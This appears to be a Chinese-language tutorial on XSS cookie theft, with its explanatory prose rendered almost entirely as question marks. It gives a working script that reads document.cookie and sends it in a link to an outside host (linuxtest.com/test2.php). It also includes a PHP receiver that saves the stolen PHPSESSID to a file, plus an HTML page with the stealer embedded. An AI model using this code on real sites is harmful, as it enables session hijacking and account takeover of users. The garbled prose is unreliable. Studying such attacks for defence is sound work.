????3????????????????????
????1 <script>
????2 var Str=document.cookie;               //???cookie
????3 var a =document.createElement('a');        //????a???
????4 a.href='http://www.linuxtest.com/test2.php?'+Str;   //??????????
????5 a.innerHTML="<img src='./aa.jpg'>";        //?????
????6 document.body.appendChild(a);              //??????????????
????7 </script>
????4????????????????????????
????5?????????????????????y???????cookie
????1 <?php
????2 header("content-type:text/html;charset=utf8");
????3 echo "???PHPSESSID??????";
????4 echo "<pre>";
????5 print_r($_GET);
????6 echo "</pre>";
????7 $cookie=$_GET['PHPSESSID'];
????8 file_put_contents('./xss.txt'?? $cookie);
????9 ?>
?????????????
????1??test88.com??????????sessionID????
????1 <?php
????2 session_start();
????3 $_SESSION['xss']='xssssss';
????4 echo "<pre>";
????5 print_r($_SESSION);
????6 echo "</pre>";die;
????7 ?>
????2??????????????????????????sessionID
????3??????????xss.html
????#??????????????????????xss.html????????????
????1 <!DOCTYPE html>
????2 <html>
????3 <head>
????4     <title>xss????</title>
????5     <meta charset="utf-8">
????6 </head>
????7 <body>
????8 <form action="./test99.php" method="post">
????9 ?????<input type="text" name="content" value=""><br/>
????10 <input type="submit" name="" value='??'>
????11 </form>
????12 <br/>????????<br/>
????13 <script>
????14 var Str=document.cookie;               //???cookie
????15 var a =document.createElement('a');        //????a???
????16 a.href='http://www.linuxtest.com/test2.php?'+Str;   //??????????
????17 a.innerHTML="<img src='./aa.jpg'>";        //?????
????18 document.body.appendChild(a);              //??????????????
????19 </script>
????20 </body>
????21 </html>
????4????????С??????????sessionID??????


????# vi xss.txt

???????????????????????????????????????????????????????????????????????XSS????ν??й????????